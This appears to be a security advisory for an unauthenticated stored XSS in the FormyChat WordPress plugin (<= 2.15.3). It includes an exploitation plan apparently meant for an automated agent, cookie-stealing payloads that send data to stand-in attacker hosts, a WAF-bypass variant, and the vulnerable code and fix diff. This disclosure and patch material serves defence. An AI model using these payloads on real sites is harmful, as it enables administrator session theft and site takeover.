Contact Form to Chat Apps | Click to Chat to Order – FormyChat <= 2.15.3 - Unauthenticated Stored Cross-Site Scripting
Description
The Contact Form to Chat Apps | Click to Chat to Order – FormyChat plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.15.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.15.3What Changed in the Fix
Changes introduced in v2.15.4
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-57379 ## 1. Vulnerability Summary The **FormyChat** plugin (<= 2.15.3) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The plugin registers a public REST API endpoint for form submissions that accepts arbitrary user input in the `field…
Show full research plan
Exploitation Research Plan - CVE-2026-57379
1. Vulnerability Summary
The FormyChat plugin (<= 2.15.3) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The plugin registers a public REST API endpoint for form submissions that accepts arbitrary user input in the field parameter. This data is stored in the database without sufficient sanitization and is later rendered in the WordPress administrative dashboard (Leads management) without proper output escaping.
An unauthenticated attacker can inject malicious JavaScript into the form fields, which will execute in the context of an administrator's browser when they view the submitted leads.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/formychat/v1/submit-form - Vulnerable Parameter:
field(specifically the values within thefieldassociative array). - Authentication: None required. The REST route is registered with
'permission_callback' => '__return_true'. - Preconditions:
- The plugin must be active.
- At least one Widget must exist (the plugin typically creates a default widget upon installation).
- Spam protection (reCAPTCHA/Turnstile) must be disabled (default state).
3. Code Flow
- Entry Point: An unauthenticated
POSTrequest is sent towp-json/formychat/v1/submit-form. - Route Handling:
FormyChat\Publics\REST::register_routes(inincludes/public/class-rest.php) routes the request tohandle_form_submission(). - Data Extraction: In
handle_form_submission($request), the plugin extracts thefieldparameter directly from the request:$form_data = [ 'field' => $request->has_param('field') ? $request->get_param('field') : [], // ... ];$request->get_param('field')returns the raw array provided in the JSON or POST body. - Spam Bypass:
verify_formychat_spam_protection($request)is called. Ifformychat_turnstile_enabledandformychat_recaptcha_enabledoptions are false (default), it returnstrue, allowing the request to proceed. - Sink (Storage): The unsanitized
$form_datais passed toFormyChat\Models\Lead::create($form_data). This method stores the raw field data in the database. - Sink (Output): When an administrator navigates to the "Leads" section of the FormyChat menu in the WordPress dashboard, the plugin retrieves these records and renders the
fieldvalues. Based on the logic seen informychat_lead_created()(lines 177-184), the values are likely concatenated into HTML strings usingwp_sprintfwithoutesc_html()orwp_kses().
4. Nonce Acquisition Strategy
This specific exploit targets a WordPress REST API endpoint with permission_callback set to __return_true.
- Requirement: In WordPress, REST API endpoints with
__return_truegenerally do not require a nonce for unauthenticatedPOSTrequests. - Bypass Analysis: The
handle_form_submissionfunction does not callcheck_ajax_refererorwp_verify_nonce. - Strategy: No nonce is required. The request can be sent directly to the REST API.
5. Exploitation Strategy
The goal is to inject a Stored XSS payload that triggers when an admin views the leads.
Step 1: Discover Widget ID
The submission requires a widget_id. Usually, the first widget is 1.
- Verification: Use
browser_navigateto the homepage and check forformychat-settingsor similar localized JS objects, or simply attempt the exploit withwidget_id=1.
Step 2: Submit Malicious Lead
Send a POST request to the REST API containing the XSS payload.
- Tool:
http_request - Method:
POST - URL:
https://<target>/wp-json/formychat/v1/submit-form - Headers:
Content-Type: application/json - Body:
{ "field": { "Name": "Victim", "Message": "<img src=x onerror='fetch(\"/wp-json/wp/v2/users/me\").then(r=>r.json()).then(d=>fetch(\"https://<attacker-callback>/?user=\"+d.slug+\"&cookie=\"+document.cookie))'>" }, "widget_id": 1, "form": "formychat" }
Step 3: Trigger Execution
The payload will execute when the admin navigates to:/wp-admin/admin.php?page=formychat-leads (inferred slug based on plugin name).
6. Test Data Setup
- Install and activate the FormyChat plugin version 2.15.3.
- Ensure a widget is created:
wp eval "FormyChat\Models\Widget::create(['title' => 'Test Widget']);"(If testing via CLI).
- Ensure reCAPTCHA/Turnstile is not configured (default).
7. Expected Results
- The REST API should respond with
{"success": true, "data": {"lead_id": <ID>}}. - The database table for leads (likely
wp_formychat_leadsor stored inwp_options/wp_postsdepending on the Model implementation) will contain the raw<img src=x onerror=...>string. - When an admin views the Leads page, the browser will attempt to load the image with source
x, fail, and execute theonerrorJavaScript.
8. Verification Steps
After performing the http_request, verify the lead exists in the database:
# Check if a new lead was created with the payload
wp db query "SELECT * FROM $(wp db prefix)formychat_leads ORDER BY id DESC LIMIT 1;"
(Note: If the table name differs, use wp db tables | grep formychat to find the correct table).
9. Alternative Approaches
- Direct POST: If
application/jsonis blocked by a WAF, useapplication/x-www-form-urlencoded:field[Name]=Test&field[Message]=<script>alert(1)</script>&widget_id=1&form=formychat - Payload Variation: If
fetchis blocked by Content Security Policy (CSP), use a simple redirect or aniframeinjection:<script>document.location='https://attacker.com/steal?c='+document.cookie</script> - Metadata Injection: The
metaparameter inhandle_form_submissionis also handled without sanitization and may provide an alternative injection vector if thefieldvalues are escaped butmetavalues are not.
Summary
The FormyChat plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting due to the lack of input sanitization in its public REST API endpoint for form submissions. Attackers can inject malicious scripts into form fields that are stored in the database and subsequently executed in the context of an administrator's browser when they view the 'Leads' management page.
Vulnerable Code
// includes/public/class-rest.php:79 public function handle_form_submission( $request ) { $form_data = [ 'field' => $request->has_param('field') ? $request->get_param('field') : [], 'meta' => $request->has_param('meta') ? $request->get_param('meta') : [], 'widget_id' => $request->has_param('widget_id') ? $request->get_param('widget_id') : 0, 'form_id' => $request->has_param('form_id') ? $request->get_param('form_id') : 0, 'form' => $request->has_param('form') ? $request->get_param('form') : 'formychat', ]; --- // includes/public/class-rest.php:103 $lead_id = Lead::create($form_data);
Security Fix
@@ -77,12 +77,15 @@ * @return void */ public function handle_form_submission( $request ) { + $raw_field = $request->has_param('field') ? $request->get_param('field') : []; + $raw_meta = $request->has_param('meta') ? $request->get_param('meta') : []; + $form_data = [ - 'field' => $request->has_param('field') ? $request->get_param('field') : [], - 'meta' => $request->has_param('meta') ? $request->get_param('meta') : [], - 'widget_id' => $request->has_param('widget_id') ? $request->get_param('widget_id') : 0, - 'form_id' => $request->has_param('form_id') ? $request->get_param('form_id') : 0, - 'form' => $request->has_param('form') ? $request->get_param('form') : 'formychat', + 'field' => $this->sanitize_lead_payload( $raw_field ), + 'meta' => $this->sanitize_lead_payload( $raw_meta ), + 'widget_id' => $request->has_param('widget_id') ? absint( $request->get_param('widget_id') ) : 0, + 'form_id' => $request->has_param('form_id') ? absint( $request->get_param('form_id') ) : 0, + 'form' => $request->has_param('form') ? sanitize_key( $request->get_param('form') ) : 'formychat', ]; // Verify spam protection (reCAPTCHA / Turnstile) for built-in FormyChat form submissions. @@ -101,6 +104,14 @@ $form_data = apply_filters('formychat_lead_data', $form_data, $request); + // Re-sanitize after the filter, in case third-party code re-injected unsafe data. + if ( isset( $form_data['field'] ) ) { + $form_data['field'] = $this->sanitize_lead_payload( $form_data['field'] ); + } + if ( isset( $form_data['meta'] ) ) { + $form_data['meta'] = $this->sanitize_lead_payload( $form_data['meta'] ); + } + $lead_id = Lead::create($form_data); do_action('formychat_lead_created', $form_data, $lead_id, $request); @@ -114,6 +125,40 @@ } /** + * Recursively sanitize an untrusted lead payload (field / meta). + * + * Strips all HTML and JS. The lead admin page renders values via Vue + * `v-html`, so any HTML stored here would execute in the admin origin. + * + * @param mixed $value + * @return mixed + */ + private function sanitize_lead_payload( $value ) { + if ( is_array( $value ) ) { + $clean = []; + foreach ( $value as $k => $v ) { + $safe_key = is_string( $k ) ? sanitize_text_field( $k ) : $k; + $clean[ $safe_key ] = $this->sanitize_lead_payload( $v ); + } + return $clean; + } + + if ( is_object( $value ) ) { + // Reject objects entirely — lead payloads are scalar/array only. + return ''; + } + + if ( is_bool( $value ) || is_int( $value ) || is_float( $value ) ) { + return $value; + } + + // Strings: strip all tags and control chars. Preserve newlines for the + // message field so the admin UI can still display multi-line content. + $value = (string) $value; + return sanitize_textarea_field( $value ); + } + + /** * Verify spam protection token (Turnstile or reCAPTCHA) for FormyChat form submissions. * Returns true on success (or when no protection is configured), an error message string otherwise. *
Exploit Outline
1. Identify a target WordPress site running FormyChat <= 2.15.3. 2. Construct a POST request to the unauthenticated REST API endpoint: `/wp-json/formychat/v1/submit-form`. 3. Provide a JSON body containing a 'field' array where one of the values is a malicious JavaScript payload (e.g., `<script>alert(1)</script>` or an `<img>` tag with an `onerror` handler). 4. Include standard required fields such as `widget_id: 1` and `form: "formychat"`. 5. Send the request; the server will respond with success and store the unsanitized payload in the database. 6. The XSS triggers automatically when a site administrator logs in and views the 'Leads' section of the FormyChat plugin dashboard.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.